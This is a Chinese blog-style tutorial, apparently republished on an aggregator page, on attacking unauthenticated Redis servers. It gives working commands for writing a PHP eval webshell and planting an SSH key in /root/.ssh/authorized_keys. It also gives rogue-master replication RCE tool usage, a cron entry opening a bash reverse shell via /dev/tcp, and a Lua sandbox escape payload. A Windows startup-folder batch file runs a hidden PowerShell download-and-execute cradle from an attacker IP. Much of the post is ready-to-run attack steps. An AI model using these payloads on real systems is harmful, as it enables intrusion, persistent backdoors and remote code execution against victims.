当前位置:网站首页>Redis的攻击手法
Redis的攻击手法
2022-07-01 11:20:00 【two8】
目录
Redis概述
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。
Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis未授权
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
漏洞发现
漏洞发现就是查看IP是否开启6379端口。
FOFA语句
port="6379" && protocol="redis"

漏洞验证
使用redis管理工具 点击下载
Redis写shell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
漏洞利用
写入文件
config set dir /var/www/html/
config set dbfilename test.php
set xxx "\r\n\r\<?php @eval($_POST['test']);?>\r\n\r\"
//这里的\r\n\r\代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
save


Redis写公钥
前提条件
- 开启ssh服务,并且可以连接
- 运行Redis的用户为root用户
漏洞利用
首先生成ssh-rsa密钥
ssh-keygen -t rsa

把公钥导入key.txt,前后添加\n\n防止写入的公钥乱码导致不可用
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将生成的公钥写入Redis服务器的内存之中
cat key.txt | redis-cli -h 127.0.0.1 -p 6379 -x set xxx

设置路径和保存的文件名,将内存变量导入磁盘文件
redis-cli -h 127.0.0.1 -p 6379 //连接Redis
config set dir /root/.ssh/ //把目录设为/root/.ssh/
config get dir //查看目录
config set dbfilename "authorized_keys" //文件名设置为authorized_keys
save //保存

使用ssh连接
ssh [email protected] -p 22 -i /root/.ssh/id_rsa

主从复制RCE
漏洞简介:
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
漏洞利用
网上公开的几个利用脚本,选择哪个都行
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/Ridter/redis-rce
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
我使用redis-rogue-server来复现
使用教程:
-h, --help 显示此帮助信息并退出
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT 目标redis端口,默认6379
--lhost=LOCAL_HOST 攻击服务器 ip
--lport=LOCAL_PORT 攻击服务器监听端口,默认21000
--exp=EXP_FILE 要加载的 Redis 模块,默认为 exp.so
-v, --verbose 显示完整的数据流
首先下载脚本,编译so文件
交互式的shell
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1

反弹shell
计划任务反弹shell
利用条件:
- 仅限centos
漏洞利用
set xx "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/6336 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
//大约等待一分钟就能收到shell

Redis Lua沙盒绕过命令执行
漏洞介绍:
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本1的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
利用条件:
- Ubuntu系统
利用方式:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

Redis在Windows下利用方式
介绍:
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护开源 windows 版本只有3.X的,所以适用用Linux的写公钥和主从复制不适合Windows系统的。
写webshell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
写入文件(跟Linux的操作相同)
config set dir C:\phpstudy_pro\WWW\
config set dbfilename test.php
set xxx "<?php @eval($_POST['test']);?>"
save

写启动项
写入到启动项的缺点就是我们需要使对方电脑重启才能上线木马
启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
//用户路径需要去猜测,把常见的系统用户名尝试一下(admin、Administrator、test、user、guest、guanli..等等)
由于我们写入的文件存在一些版本信息等垃圾数据,所以我们写入一个bat下载运行木马即可,可以用cs简单实现。
把生成的powershell脚本写入到bat文件
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))"
Redis写入脚本
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename 1.bat
set xxx "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))\"\r\n\r\n"
save
重启电脑即可上线

写入无损文件
原理:
利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了
利用脚本
使用方法:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]


成功写入
还有一些其他方式,比如03系统可以写入mof文件,可以写入dll进行劫持,以后有空在更吧。
参考
https://www.freebuf.com/articles/web/289231.html
https://www.freebuf.com/articles/web/256655.html
https://xz.aliyun.com/t/7940#toc-1
https://nosec.org/home/detail/4464.html
边栏推荐
- Face detection and recognition system based on mtcnn+facenet
- 名创拟7月13日上市:最高发行价22.1港元 单季净利下降19%
- Kafuka learning path (I) Kafuka installation and simple use
- sdp 协议中的packetization-mode方式和三种流传输模式
- Question: what professional qualities should test engineers have?
- 华泰证券网上开户安全吗?
- 提问:测试工程师应该具备哪些职业素养?
- 2022/6/29学习总结
- Yoda unified data application -- Exploration and practice of fusion computing in ant risk scenarios
- 达梦数据冲刺科创板:拟募资24亿 冯裕才曾为华科教授
猜你喜欢

Matrix of numpy

y48.第三章 Kubernetes从入门到精通 -- Pod的状态和探针(二一)

华为设备配置大型网络WLAN基本业务

金融壹账通拟7月4日香港上市:2年亏近30亿 市值蒸发超90%

TEMPEST HDMI泄漏接收 5

CVPR 2022 | Virtual Correspondence: Humans as a Cue for Extreme-View Geometry

Introduction to unittest framework and the first demo

Huawei equipment is configured with large network WLAN basic services

Combinaison Oracle et json

京东与腾讯续签合作:向腾讯发行A类股 价值最高达2.2亿美元
随机推荐
Why must we move from Devops to bizdevops?
Network security learning notes 01 network security foundation
Global filter (processing time format)
The developer said, "this doesn't need to be tested, just return to the normal process". What about the testers?
CVPR 2022 | Virtual Correspondence: Humans as a Cue for Extreme-View Geometry
kubernetes之ingress探索实践
小米手机解BL锁教程
力扣(LeetCode)181. 超过经理收入的员工(2022.06.29)
全局过滤器(处理时间格式)
Flip the array gracefully
Shangtang entered the lifting period: the core management voluntarily banned and strengthened the company's long-term value confidence
今天开户今天能买股票吗?在线开户是很安全么?
Spam filtering challenges
"Target detection" + "visual understanding" to realize the understanding and translation of the input image (with source code)
Applymiddleware principle
Xiaomi mobile phone unlocking BL tutorial
Ultra detailed black apple installation graphic tutorial sent to EFI configuration collection and system
8 best practices to protect your IAC security!
redis中value/SortedSet
编译调试Net6源码